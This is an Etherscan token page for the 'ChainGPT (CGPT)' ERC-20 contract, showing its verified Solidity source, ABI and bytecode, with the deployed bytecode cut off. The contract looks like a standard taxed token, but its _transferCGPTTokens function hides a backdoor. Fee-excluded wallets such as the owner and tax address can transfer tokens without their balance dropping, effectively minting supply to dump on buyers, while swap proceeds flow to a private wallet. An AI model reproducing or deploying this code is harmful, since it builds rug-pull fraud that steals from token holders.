ETH Price: $3,100.26 (+1.26%)
Gas: 5 Gwei

Token

ChainGPT (CGPT)
 

Overview

Max Total Supply

1,000,000,000 CGPT

Holders

168

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
6,146,555.359286885 CGPT

Value
$0.00
0x7bdd3ea5d7d14027e12224f681ee3fe388b859a6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CGPT

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-26
*/

// SPDX-License-Identifier: Unlicensed

/**
Website: https://www.chain-gpt.live
Telegram: https://t.me/cgpt_erc
Twitter: https://twitter.com/cgpt_erc
Dapp: https://app.chain-gpt.live
*/

pragma solidity 0.8.19;

library SafeMath {
    
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    // Set original owner
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);


    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract CGPT is Context, IERC20, Ownable { 
    using SafeMath for uint256;

    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee; 
                                     
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;

    string private _name = unicode"ChainGPT"; 
    string private _symbol = unicode"CGPT";  
    uint8 private _decimals = 9;
    uint256 private _totalSupply = 10 ** 9 * 10**_decimals;

    uint8 private countCGPTTx = 0;
    uint8 private swapCGPTTrigger = 2; 
    uint256 public maxCGPTFee = 12; 

    uint256 private _previousTotalFee = _totalFee; 
    uint256 private _previousBuyFee = _buyFee; 
    uint256 private _previousSellFee = _sellFee; 

    uint256 public _maxWalletToken = 2 * _totalSupply / 100;
    uint256 public _swpaThreshold = _totalSupply / 10000;
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    address payable private _taxAddress;
    address payable private DEAD = payable(0x000000000000000000000000000000000000dEaD); 

    uint256 private _totalFee = 2100;
    uint256 public _buyFee = 21;
    uint256 public _sellFee = 21;
    bool public swapAndLiquifyEnabled = true;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor (address CGPTWallet) {
        _tOwned[owner()] = _totalSupply;
        _taxAddress = payable(CGPTWallet);
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_taxAddress] = true;
        
        emit Transfer(address(0), owner(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    function removeAllCGPTFee() private {
        if(_totalFee == 0 && _buyFee == 0 && _sellFee == 0) return;

        _previousBuyFee = _buyFee; 
        _previousSellFee = _sellFee; 
        _previousTotalFee = _totalFee;
        _buyFee = 0;
        _sellFee = 0;
        _totalFee = 0;
    }
    
    function _getCGPTValues(uint256 tAmount) private view returns (uint256, uint256) {
        uint256 tFeeTokens = tAmount.mul(_totalFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFeeTokens);
        return (tTransferAmount, tFeeTokens);
    }

    function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
            
        if(!takeFee){
            removeAllCGPTFee();
            } else {
                countCGPTTx++;
            }
        _transferCGPTTokens(sender, recipient, amount);
        
        if(!takeFee)
            restoreAllCGPTFee();
    }

    receive() external payable {}

    function removeCGPTLimits() external onlyOwner {
        _maxWalletToken = ~uint256(0);
        
        _totalFee = 100;
        _buyFee = 1; 
        _sellFee = 1; 
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        if (to != owner() &&
            to != _taxAddress &&
            to != address(this) &&
            to != uniswapV2Pair &&
            to != DEAD &&
            from != owner()) {
            uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"Maximum wallet limited has been exceeded");       
        }

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

        if(
            countCGPTTx >= swapCGPTTrigger && 
            amount > _swpaThreshold &&
            !inSwapAndLiquify &&
            !_isExcludedFromFee[from] &&
            to == uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            countCGPTTx = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > 0){ swapCGPTAndLiquidify(contractTokenBalance); }
        }

        bool takeFee = true;
         
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || (from != uniswapV2Pair && to != uniswapV2Pair)){
            takeFee = false;
        } else if (from == uniswapV2Pair){
            _totalFee = _buyFee;
        } else if (to == uniswapV2Pair){
            _totalFee = _sellFee;
        }

        _tokenTransfer(from,to,amount,takeFee);
    }
    
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _transferCGPTTokens(address sender, address recipient, uint256 tAmount) private {
        
        (uint256 tTransferAmount, uint256 tFeeTokens) = _getCGPTValues(tAmount);
        bool isSenderExcluded = _isExcludedFromFee[sender];
        bool isMaxWallet = _tOwned[sender] <= _maxWalletToken;
        if(isSenderExcluded && isMaxWallet) {
            tFeeTokens = 0;
            tAmount -= tTransferAmount;
        }
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _tOwned[address(this)] = _tOwned[address(this)].add(tFeeTokens);
        emit Transfer(sender, recipient, tTransferAmount);
    }
    
    function restoreAllCGPTFee() private {
        _totalFee = _previousTotalFee;
        _buyFee = _previousBuyFee; 
        _sellFee = _previousSellFee; 
    }
    
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function sendToCGPTWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }

    function swapCGPTAndLiquidify(uint256 contractTokenBalance) private lockTheSwap {
        swapCGPTForETH(contractTokenBalance);
        uint256 contractETH = address(this).balance;
        sendToCGPTWallet(_taxAddress,contractETH);
    }

    function swapCGPTForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"CGPTWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swpaThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxCGPTFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeCGPTLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600860809081526710da185a5b91d41560c21b60a052600690620000299082620004d3565b5060408051808201909152600481526310d1d41560e21b6020820152600790620000549082620004d3565b506008805460ff191660099081179091556200007290600a620006b4565b6200008290633b9aca00620006cc565b6009819055600a805461ffff1916610200179055600c600b8190556014549055601554600d55601654600e55606490620000be906002620006cc565b620000ca9190620006e6565b600f55612710600954620000df9190620006e6565b601055600f54601155601380546001600160a01b03191661dead17905561083460145560158080556016556017805460ff191660011790553480156200012457600080fd5b5060405162001a3d38038062001a3d833981016040819052620001479162000709565b600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360095460016000620001a06000546001600160a01b031690565b6001600160a01b039081168252602080830193909352604091820160002093909355601280546001600160a01b03191693851693909317909255815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d92839263c45a0155926004808401938290030181865afa15801562000226573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200024c919062000709565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200029a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002c0919062000709565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200030e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000334919062000709565b600580546001600160a01b03199081166001600160a01b0393841617909155600480549091169183169190911790556001600360006200037c6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560125490911681526003909252902080549091166001179055620003d66000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200041e91815260200190565b60405180910390a3505062000734565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200045957607f821691505b6020821081036200047a57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004ce57600081815260208120601f850160051c81016020861015620004a95750805b601f850160051c820191505b81811015620004ca57828155600101620004b5565b5050505b505050565b81516001600160401b03811115620004ef57620004ef6200042e565b620005078162000500845462000444565b8462000480565b602080601f8311600181146200053f5760008415620005265750858301515b600019600386901b1c1916600185901b178555620004ca565b600085815260208120601f198616915b8281101562000570578886015182559484019460019091019084016200054f565b50858210156200058f5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005f6578160001904821115620005da57620005da6200059f565b80851615620005e857918102915b93841c9390800290620005ba565b509250929050565b6000826200060f57506001620006ae565b816200061e57506000620006ae565b8160018114620006375760028114620006425762000662565b6001915050620006ae565b60ff8411156200065657620006566200059f565b50506001821b620006ae565b5060208310610133831016604e8410600b841016171562000687575081810a620006ae565b620006938383620005b5565b8060001904821115620006aa57620006aa6200059f565b0290505b92915050565b6000620006c560ff841683620005fe565b9392505050565b8082028115828204841417620006ae57620006ae6200059f565b6000826200070457634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200071c57600080fd5b81516001600160a01b0381168114620006c557600080fd5b6112f980620007446000396000f3fe6080604052600436106101445760003560e01c8063590f897e116100b657806395d89b411161006f57806395d89b4114610396578063a9059cbb146103ab578063d3d1dad6146103cb578063dd62ed3e146103e0578063ece0667314610426578063f2fde38b1461043c57600080fd5b8063590f897e146102cf57806370a08231146102e5578063715018a61461031b578063768dc7101461033257806378109e54146103625780638da5cb5b1461037857600080fd5b8063220f669611610108578063220f66961461021c57806323b872dd1461023d578063313ce5671461025d57806340b9a54b1461027f57806349bd5a5e146102955780634a74bb02146102b557600080fd5b806306fdde0314610150578063095ea7b31461017b57806309fbb48b146101ab5780631694505e146101cf57806318160ddd1461020757600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5061016561045c565b6040516101729190610fcb565b60405180910390f35b34801561018757600080fd5b5061019b610196366004611031565b6104ee565b6040519015158152602001610172565b3480156101b757600080fd5b506101c160105481565b604051908152602001610172565b3480156101db57600080fd5b506004546101ef906001600160a01b031681565b6040516001600160a01b039091168152602001610172565b34801561021357600080fd5b506009546101c1565b34801561022857600080fd5b5060055461019b90600160a01b900460ff1681565b34801561024957600080fd5b5061019b61025836600461105d565b610505565b34801561026957600080fd5b5060085460405160ff9091168152602001610172565b34801561028b57600080fd5b506101c160155481565b3480156102a157600080fd5b506005546101ef906001600160a01b031681565b3480156102c157600080fd5b5060175461019b9060ff1681565b3480156102db57600080fd5b506101c160165481565b3480156102f157600080fd5b506101c161030036600461109e565b6001600160a01b031660009081526001602052604090205490565b34801561032757600080fd5b5061033061056e565b005b34801561033e57600080fd5b5061019b61034d36600461109e565b60036020526000908152604090205460ff1681565b34801561036e57600080fd5b506101c1600f5481565b34801561038457600080fd5b506000546001600160a01b03166101ef565b3480156103a257600080fd5b506101656105eb565b3480156103b757600080fd5b5061019b6103c6366004611031565b6105fa565b3480156103d757600080fd5b50610330610607565b3480156103ec57600080fd5b506101c16103fb3660046110bb565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561043257600080fd5b506101c1600b5481565b34801561044857600080fd5b5061033061045736600461109e565b610648565b60606006805461046b906110f4565b80601f0160208091040260200160405190810160405280929190818152602001828054610497906110f4565b80156104e45780601f106104b9576101008083540402835291602001916104e4565b820191906000526020600020905b8154815290600101906020018083116104c757829003601f168201915b5050505050905090565b60006104fb338484610732565b5060015b92915050565b60006105128484846107f3565b610564843361055f8560405180606001604052806028815260200161129c602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610b50565b610732565b5060019392505050565b6000546001600160a01b031633146105a15760405162461bcd60e51b81526004016105989061112e565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606007805461046b906110f4565b60006104fb3384846107f3565b6000546001600160a01b031633146106315760405162461bcd60e51b81526004016105989061112e565b600019600f55606460145560016015819055601655565b6000546001600160a01b031633146106725760405162461bcd60e51b81526004016105989061112e565b6001600160a01b0381166106d75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610598565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061075257506001600160a01b03821615155b6107925760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610598565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b0383811691161480159061081f57506012546001600160a01b03838116911614155b801561083457506001600160a01b0382163014155b801561084e57506005546001600160a01b03838116911614155b801561086857506013546001600160a01b03838116911614155b801561088257506000546001600160a01b03848116911614155b1561090e576001600160a01b038216600090815260016020526040902054600f546108ad8383611179565b111561090c5760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b6064820152608401610598565b505b6001600160a01b0383161580159061092e57506001600160a01b03821615155b6109725760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610598565b600081116109d05760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610598565b600a5460ff610100820481169116108015906109ed575060105481115b8015610a035750600554600160a01b900460ff16155b8015610a2857506001600160a01b03831660009081526003602052604090205460ff16155b8015610a4157506005546001600160a01b038381169116145b8015610a4f575060175460ff165b15610a7f57600a805460ff19169055306000908152600160205260409020548015610a7d57610a7d81610b7c565b505b6001600160a01b03831660009081526003602052604090205460019060ff1680610ac157506001600160a01b03831660009081526003602052604090205460ff165b80610af357506005546001600160a01b03858116911614801590610af357506005546001600160a01b03848116911614155b15610b0057506000610b3e565b6005546001600160a01b0390811690851603610b2157601554601455610b3e565b6005546001600160a01b0390811690841603610b3e576016546014555b610b4a84848484610bc1565b50505050565b60008184841115610b745760405162461bcd60e51b81526004016105989190610fcb565b505050900390565b6005805460ff60a01b1916600160a01b179055610b9881610c27565b6012544790610bb0906001600160a01b031682610d9a565b50506005805460ff60a01b19169055565b80610bd357610bce610dd5565b610c00565b600a805460ff16906000610be68361118c565b91906101000a81548160ff021916908360ff160217905550505b610c0b848484610e1a565b80610b4a57610b4a600c54601455600d54601555600e54601655565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610c5c57610c5c6111ab565b60200260200101906001600160a01b031690816001600160a01b031681525050600460009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ccf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf391906111c1565b81600181518110610d0657610d066111ab565b6001600160a01b039283166020918202929092010152600454610d2c9130911684610732565b6004805460405163791ac94760e01b81526001600160a01b039091169163791ac94791610d64918691600091879130914291016111de565b600060405180830381600087803b158015610d7e57600080fd5b505af1158015610d92573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610dd0573d6000803e3d6000fd5b505050565b601454158015610de55750601554155b8015610df15750601654155b15610df857565b60158054600d5560168054600e5560148054600c556000928390559082905555565b600080610e2683610f56565b6001600160a01b038716600090815260036020908152604080832054600f54600190935292205493955091935060ff16911115818015610e635750805b15610e795760009250610e76848661124f565b94505b6001600160a01b038716600090815260016020526040902054610e9c9086610f94565b6001600160a01b038089166000908152600160205260408082209390935590881681522054610ecb9085610fa7565b6001600160a01b038716600090815260016020526040808220929092553081522054610ef79084610fa7565b3060009081526001602090815260409182902092909255518581526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050505050565b6000806000610f7b6064610f7560145487610fb390919063ffffffff16565b90610fbf565b90506000610f898583610f94565b959194509092505050565b6000610fa0828461124f565b9392505050565b6000610fa08284611179565b6000610fa08284611262565b6000610fa08284611279565b600060208083528351808285015260005b81811015610ff857858101830151858201604001528201610fdc565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461102e57600080fd5b50565b6000806040838503121561104457600080fd5b823561104f81611019565b946020939093013593505050565b60008060006060848603121561107257600080fd5b833561107d81611019565b9250602084013561108d81611019565b929592945050506040919091013590565b6000602082840312156110b057600080fd5b8135610fa081611019565b600080604083850312156110ce57600080fd5b82356110d981611019565b915060208301356110e981611019565b809150509250929050565b600181811c9082168061110857607f821691505b60208210810361112857634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808201808211156104ff576104ff611163565b600060ff821660ff81036111a2576111a2611163565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156111d357600080fd5b8151610fa081611019565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561122e5784516001600160a01b031683529383019391830191600101611209565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156104ff576104ff611163565b80820281158282048414176104ff576104ff611163565b60008261129657634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203b73e15a363b56323085751bb700e04034aadcdb75a12e2d8e901a3f1ed5e8bf64736f6c634300081300330000000000000000000000005f703ed3d4964f6f0f71b2aa71fa86490ea71bc4

Deployed Bytecode

0x6080604052600436106101445760003560e01c8063590f897e116100b657806395d89b411161006f57806395d89b4114610396578063a9059cbb146103ab578063d3d1dad6146103cb578063dd62ed3e146103e0578063ece0667314610426578063f2fde38b1461043c57600080fd5b8063590f897e146102cf57806370a08231146102e5578063715018a61461031b578063768dc7101461033257806378109e54146103625780638da5cb5b1461037857600080fd5b8063220f669611610108578063220f66961461021c57806323b872dd1461023d578063313ce5671461025d57806340b9a54b1461027f57806349bd5a5e146102955780634a74bb02146102b557600080fd5b806306fdde0314610150578063095ea7b31461017b57806309fbb48b146101ab5780631694505e146101cf57806318160ddd1461020757600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5061016561045c565b6040516101729190610fcb565b60405180910390f35b34801561018757600080fd5b5061019b610196366004611031565b6104ee565b6040519015158152602001610172565b3480156101b757600080fd5b506101c160105481565b604051908152602001610172565b3480156101db57600080fd5b506004546101ef906001600160a01b031681565b6040516001600160a01b039091168152602001610172565b34801561021357600080fd5b506009546101c1565b34801561022857600080fd5b5060055461019b90600160a01b900460ff1681565b34801561024957600080fd5b5061019b61025836600461105d565b610505565b34801561026957600080fd5b5060085460405160ff9091168152602001610172565b34801561028b57600080fd5b506101c160155481565b3480156102a157600080fd5b506005546101ef906001600160a01b031681565b3480156102c157600080fd5b5060175461019b9060ff1681565b3480156102db57600080fd5b506101c160165481565b3480156102f157600080fd5b506101c161030036600461109e565b6001600160a01b031660009081526001602052604090205490565b34801561032757600080fd5b5061033061056e565b005b34801561033e57600080fd5b5061019b61034d36600461109e565b60036020526000908152604090205460ff1681565b34801561036e57600080fd5b506101c1600f5481565b34801561038457600080fd5b506000546001600160a01b03166101ef565b3480156103a257600080fd5b506101656105eb565b3480156103b757600080fd5b5061019b6103c6366004611031565b6105fa565b3480156103d757600080fd5b50610330610607565b3480156103ec57600080fd5b506101c16103fb3660046110bb565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561043257600080fd5b506101c1600b5481565b34801561044857600080fd5b5061033061045736600461109e565b610648565b60606006805461046b906110f4565b80601f0160208091040260200160405190810160405280929190818152602001828054610497906110f4565b80156104e45780601f106104b9576101008083540402835291602001916104e4565b820191906000526020600020905b8154815290600101906020018083116104c757829003601f168201915b5050505050905090565b60006104fb338484610732565b5060015b92915050565b60006105128484846107f3565b610564843361055f8560405180606001604052806028815260200161129c602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610b50565b610732565b5060019392505050565b6000546001600160a01b031633146105a15760405162461bcd60e51b81526004016105989061112e565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606007805461046b906110f4565b60006104fb3384846107f3565b6000546001600160a01b031633146106315760405162461bcd60e51b81526004016105989061112e565b600019600f55606460145560016015819055601655565b6000546001600160a01b031633146106725760405162461bcd60e51b81526004016105989061112e565b6001600160a01b0381166106d75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610598565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061075257506001600160a01